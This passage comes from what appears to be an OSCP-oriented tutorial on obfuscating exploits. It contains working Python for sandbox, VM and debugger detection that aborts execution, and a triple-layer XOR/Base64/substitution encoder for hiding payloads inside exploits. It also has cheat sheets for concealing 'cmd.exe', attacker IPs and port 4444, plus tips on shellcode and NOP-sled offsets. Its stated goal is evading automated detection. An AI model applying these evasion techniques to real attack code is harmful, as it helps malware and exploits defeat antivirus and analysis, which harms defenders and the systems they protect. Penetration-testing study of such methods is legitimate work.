if indicator.lower() in key.lower() or indicator.lower() in value.lower():
return True
return False
# Also check specific known variables
sandbox_vars = [
"PROCESSOR_IDENTIFIER", # Check for VM CPU strings
"NUMBER_OF_PROCESSORS", # Sandboxes often have few CPUs
"COMPUTERNAME", # May contain "LAB", "VM", etc.
]
Method 3: Process Detection
import subprocess, sys
def detect_analysis_tools() -> list:
"""Check for running analysis tools."""
suspicious_processes = [
# Debuggers
"windbg.exe", "x64dbg.exe", "ollydbg.exe", "ida.exe", "idaq.exe",
# Process monitors
"procexp.exe", "procmon.exe", "processhacker.exe",
# Sandboxes
"sandbox.exe", "anyrunner.exe",
# Network monitors
"wireshark.exe", "tcpview.exe",
# Virtualization
"vmtoolsd.exe", "vboxservice.exe", "vmwareuser.exe",
]
detected = []
try:
# Windows process listing
result = subprocess.run(
["tasklist"],
capture_output=True,
text=True,
timeout=5
)
output_lower = result.stdout.lower()
for proc in suspicious_processes:
if proc.lower() in output_lower:
detected.append(proc)
except Exception:
pass
return detected
Environment Checks
Virtual Machine Detection
import platform, subprocess
def detect_vm_environment() -> dict:
"""Detect virtual machine indicators."""
indicators = {
"cpu_count": None,
"hostname": None,
"manufacturer": None,
"bios": None,
}
# CPU count (VMs often have <= 2)
try:
indicators["cpu_count"] = os.cpu_count()
except:
pass
# Hostname check
indicators["hostname"] = platform.node().lower()
# System manufacturer (Windows)
try:
result = subprocess.run(
["wmic", "csproduct", "get", "vendor"],
capture_output=True, text=True, timeout=5
)
indicators["manufacturer"] = result.stdout.lower()
except:
pass
# Analyze indicators
vm_signs = 0
if indicators["cpu_count"] and indicators["cpu_count"] <= 2:
vm_signs += 1
vm_hostname_keywords = ["vm", "virtual", "lab", "test", "sandbox", "ctf"]
for kw in vm_hostname_keywords:
if kw in indicators["hostname"]:
vm_signs += 1
break
vm_manufacturer_keywords = ["vmware", "virtualbox", "vbox", "oracle", "microsoft virtual"]
if indicators["manufacturer"]:
for kw in vm_manufacturer_keywords:
if kw in indicators["manufacturer"]:
vm_signs += 1
break
return {
"indicators": indicators,
"vm_likely": vm_signs >= 2,
"vm_signs_count": vm_signs
}
File System Checks
def check_suspicious_files() -> list:
"""Check for files commonly present in analysis environments."""
suspicious_paths = [
# Common debugger configs
"C:\\Program Files\\Windows Kits\\",
"C:\\Program Files\\IDA Pro\\",
# Sandbox artifacts
"C:\\Windows\\Temp\\sandbox",
# Common in CTF/lab setups
"C:\\Tools\\",
"C:\\Pentest\\",
]
import os
found = []
for path in suspicious_paths:
if os.path.exists(path):
found.append(path)
return found
Combined Anti-Analysis Guard
def anti_analysis_guard(strict: bool = False) -> bool:
"""
Comprehensive anti-analysis check.
Returns True if analysis environment is detected.
Set strict=True for more aggressive detection.
"""
reasons = []
# Check 1: Environment variables
if check_analysis_environment():
reasons.append("Suspicious environment variables detected")
# Check 2: Running processes
detected_tools = detect_analysis_tools()
if detected_tools:
reasons.append(f"Analysis tools running: {', '.join(detected_tools)}")
# Check 3: VM detection
vm_check = detect_vm_environment()
if vm_check["vm_likely"]:
reasons.append(f"VM environment likely ({vm_check['vm_signs_count']} indicators)")
# Check 4: Timing (only in strict mode)
if strict and is_being_debugged():
reasons.append("Execution timing suggests debugger")
if reasons:
if strict:
print("Analysis environment detected. Aborting.")
for r in reasons:
print(f" - {r}")
sys.exit(0)
return True
return False
# Usage at start of exploit
if __name__ == "__main__":
anti_analysis_guard(strict=False)
# ... rest of exploit code
Multi-Layer Encoding
Combining multiple obfuscation techniques creates significantly stronger evasion than any single technique.
Layered Encoding Architecture
graph LR
A[Original Payload] --> B[Layer 1: XOR Encode]
B --> C[Layer 2: Base64 Encode]
C --> D[Layer 3: Custom Alphabet]
D --> E[Final Obfuscated Output]
E --> F[Layer 3: Reverse Custom Alphabet]
F --> G[Layer 2: Base64 Decode]
G --> H[Layer 1: XOR Decode]
H --> I[Original Payload Restored]
style A fill:#d4edda
style E fill:#f8d7da
style I fill:#d4edda
Implementation: Triple-Layer Encoder
import base64, string, os
# ============================================================================
# Layer 1: XOR Encoding
# ============================================================================
def layer1_xor_encode(data: bytes, key: int = 0x5A) -> bytes:
"""XOR encode with configurable key."""
return bytes([b ^ key for b in data])
def layer1_xor_decode(data: bytes, key: int = 0x5A) -> bytes:
"""XOR decode (identical to encode)."""
return layer1_xor_encode(data, key)
# ============================================================================
# Layer 2: Base64 Encoding
# ============================================================================
def layer2_b64_encode(data: bytes) -> str:
"""Standard Base64 encoding."""
return base64.b64encode(data).decode()
def layer2_b64_decode(data: str) -> bytes:
"""Standard Base64 decoding."""
return base64.b64decode(data)
# ============================================================================
# Layer 3: Custom Character Substitution
# ============================================================================
# Create a shuffled alphabet
STANDARD_ALPHABET = string.ascii_letters + string.digits + "+/="
CUSTOM_ALPHABET = "Nq8KzWm3RpLjYvFxHc6sDgTbUo1iAe9wEnMx0VJkpCfSd2hu5rGt4a7lOzB"[:len(STANDARD_ALPHABET)]
def layer3_substitute_encode(data: str) -> str:
"""Substitute characters using custom alphabet."""
trans = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
return data.translate(trans)
def layer3_substitute_decode(data: str) -> str:
"""Reverse character substitution."""
trans = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
return data.translate(trans)
# ============================================================================
# Combined Multi-Layer Operations
# ============================================================================
def multi_layer_encode(data: bytes, xor_key: int = 0x5A) -> str:
"""
Apply all three encoding layers.
Order: XOR -> Base64 -> Character Substitution
"""
# Layer 1: XOR
step1 = layer1_xor_encode(data, xor_key)
# Layer 2: Base64
step2 = layer2_b64_encode(step1)
# Layer 3: Character substitution
step3 = layer3_substitute_encode(step2)
return step3
def multi_layer_decode(data: str, xor_key: int = 0x5A) -> bytes:
"""
Reverse all three encoding layers.
Order: Character Substitution -> Base64 -> XOR
"""
# Reverse Layer 3
step1 = layer3_substitute_decode(data)
# Reverse Layer 2
step2 = layer2_b64_decode(step1)
# Reverse Layer 1
step3 = layer1_xor_decode(step2, xor_key)
return step3
# ============================================================================
# Usage Example
# ============================================================================
if __name__ == "__main__":
original = b"cmd.exe /c whoami"
# Encode
encoded = multi_layer_encode(original)
print(f"Original: {original}")
print(f"Encoded: {encoded}")
# Decode
decoded = multi_layer_decode(encoded)
print(f"Decoded: {decoded}")
# Verify
assert original == decoded, "Encoding/decoding mismatch!"
print("✓ Verification passed")
In-Exploit Integration
# At the top of your exploit, store the encoded payload
ENCODED_PAYLOAD = "Kq8zWm3RpLjYvFxHc6sDgTbUo1iAe9wEnMx0VJkpCfSd2hu5rGt4a7lOzB..."
XOR_KEY = 0x5A # Or derive from something else
# At execution time, decode inline
def get_payload() -> bytes:
"""Decode the multi-layer encoded payload."""
# Layer 3 reverse
l3 = ENCODED_PAYLOAD.translate(str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET))
# Layer 2 reverse
l2 = base64.b64decode(l3)
# Layer 1 reverse
l1 = bytes([b ^ XOR_KEY for b in l2])
return l1
# Use decoded payload
payload = get_payload()
Encoding Layer Comparison
| Layers | Techniques | Evasion Strength | Complexity |
|---|---|---|---|
| 1 | XOR only | ⭐⭐ | Low |
| 2 | XOR + Base64 | ⭐⭐⭐ | Medium |
| 3 | XOR + Base64 + Custom Alphabet | ⭐⭐⭐⭐ | High |
| 4 | + Runtime key derivation | ⭐⭐⭐⭐⭐ | Very High |
Common Mistakes
Even experienced practitioners make these errors. Avoid them.
Mistake 1: Over-Obfuscation Breaking Functionality
# ❌ BAD: Over-complicated obfuscation that breaks
# The chr() chain has a typo - chr(47) should be included
path = chr(92) + chr(98) + chr(105) + chr(110) + chr(92) + chr(115) + chr(104)
# Result: "\bin\sh" instead of "/bin/sh" - WRONG!
# ✅ GOOD: Verify your obfuscation
path = chr(47) + chr(98) + chr(105) + chr(110) + chr(47) + chr(115) + chr(104)
# Result: "/bin/sh" - CORRECT
Rule: Always test obfuscated code produces identical output to original.
Mistake 2: Inconsistent Encoding
# ❌ BAD: Mixing encoding styles inconsistently
shellcode = (
b"\xfc\xe8\x82\x00" # Raw bytes
"3K+Mj4yP" # Base64 string (wrong type!)
b"\x90\x90\x90\x90" # Raw bytes again
)
# This will crash - can't concatenate bytes and str
# ✅ GOOD: Consistent encoding
shellcode_b64 = "3K+Mj4yP..." # Entire payload as Base64
shellcode = base64.b64decode(shellcode_b64) # Decode to bytes
Mistake 3: Forgetting Endianness
# ❌ BAD: Wrong endianness for IP packing
import struct
ip = struct.pack("<I", 0x0A0A0E05) # Little-endian - WRONG for network
# Results in: 5.14.10.10 instead of 10.10.14.5
# ✅ GOOD: Big-endian (network byte order)
ip = struct.pack("!I", 0x0A0A0E05) # Big-endian - CORRECT
# Results in: 10.10.14.5
Mistake 4: Hardcoded XOR Keys in Comments
# ❌ BAD: Defeating the purpose
xor_key = 0x5A # XOR key is 0x5A, don't forget!
# The comment gives away the key
# ✅ GOOD: No explanatory comments
xor_key = 0x5A
# Or better, derive it
import hashlib
xor_key = hashlib.md5(b"derived_from_context").digest()[0]
Mistake 5: Obfuscating the Wrong Things
# ❌ BAD: Obfuscating harmless strings, leaving dangerous ones
safe_var = "\x48\x65\x6c\x6c\x6f" # "Hello" - no need to obfuscate
dangerous_var = "cmd.exe /c whoami" # This is what gets detected!
# ✅ GOOD: Prioritize detection-prone strings
safe_var = "Hello" # Leave as-is
dangerous_var = "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x77\x68\x6f\x61\x6d\x69"
Mistake 6: Breaking Exploit Offsets
# ❌ BAD: Changing NOP sled size without adjusting offset
# Original: 1006 bytes padding + 4 bytes EIP + 50 bytes NOP + shellcode
# Modified: 1006 bytes padding + 4 bytes EIP + 100 bytes NOP + shellcode
# The shellcode is now at a different offset - exploit may fail!
# ✅ GOOD: Adjust all offsets together
ORIGINAL_NOP_SIZE = 50
NEW_NOP_SIZE = 100
# Update any offset calculations that depend on NOP size
Mistake 7: Python Version Incompatibility
# ❌ BAD: Using Python 3.12+ features on target with Python 3.6
match payload_type: # Syntax error on Python < 3.10
case "reverse":
...
# ✅ GOOD: Use compatible syntax
if payload_type == "reverse":
...
Mistake Checklist
[ ] Tested obfuscated exploit produces same result as original?
[ ] All string encodings verified to decode correctly?
[ ] IP address endianness correct (network byte order)?
[ ] No comments revealing obfuscation keys?
[ ] NOP sled / offset calculations consistent?
[ ] Python version compatibility checked?
[ ] No mixed types (bytes vs str) in concatenation?
[ ] Encoding/decoding symmetry verified?
[ ] Tested on actual target (not just local)?
[ ] No import statements that reveal purpose?
Quick Reference Cheat Sheet
String Obfuscation Quick Reference
# Hex encoding
s = "\x63\x6d\x64\x2e\x65\x78\x65" # "cmd.exe"
# Base64 encoding
import base64
s = base64.b64decode("Y21kLmV4ZQ==").decode() # "cmd.exe"
# chr() construction
s = chr(99) + chr(109) + chr(100) + chr(46) + chr(101) + chr(120) + chr(101)
# XOR encoding
s = bytes([b ^ 0x5A for b in b"\x3b\x37\x3e\x34\x3f\x32\x3f"]).decode()
# Octal encoding
s = "\143\155\144\56\145\170\145" # "cmd.exe"
IP Obfuscation Quick Reference
import socket, struct
# Method 1: struct.pack
ip = socket.inet_ntoa(struct.pack("4B", 0x0a, 0x0a, 0x0e, 0x05))
# Method 2: Integer
ip = socket.inet_ntoa(struct.pack("!I", 168859525))
# Method 3: Join
ip = ".".join(str(x) for x in [0x0a, 0x0a, 0x0e, 0x05])
# Method 4: Arithmetic
ip = f"{5*2}.{7+3}.{7*2}.{10//2}"
Port Obfuscation Quick Reference
# Hex
port = 0x115C # 4444
# Octal
port = 0o10574 # 4444
# Arithmetic
port = 2222 * 2 # 4444
# Bitwise
port = (0x11 << 8) | 0x5C # 4444
XOR Quick Reference
# Single byte XOR
def xor(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])
# Multi-byte XOR
def xor_multi(data: bytes, key: bytes) -> bytes:
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
# Encode and decode are the SAME operation
encoded = xor(original, 0x5A)
decoded = xor(encoded, 0x5A) # Returns original
Detection Risk Quick Assessment
| What You Changed | Risk Reduction |
|---|---|
| Variable names only | Low |
| + Hex strings | Low-Medium |
| + XOR shellcode | Medium |
| + IP/Port obfuscation | Medium-High |
| + Multi-layer encoding | High |
| + Anti-analysis | High-Very High |
Summary
Obfuscation is a critical skill for OSCP and professional penetration testing. The key principles are:
- Understand before obfuscating — You must comprehend your exploit to modify it safely
- Prioritize detection vectors — Focus on strings, IPs, ports, and recognizable patterns
- Layer your techniques — Multiple techniques beat any single technique
- Test thoroughly — Obfuscation can break functionality; always verify
- Document changes — Keep a modification log for OSCP submissions
- Don’t over-engineer — A working, moderately obfuscated exploit beats a broken, heavily obfuscated one
The techniques in this guide provide a comprehensive toolkit for evading automated detection systems while maintaining exploit functionality. Practice each technique individually, then combine them for maximum effect.
Last updated: 2026-09-01
For OSCP preparation and educational purposes only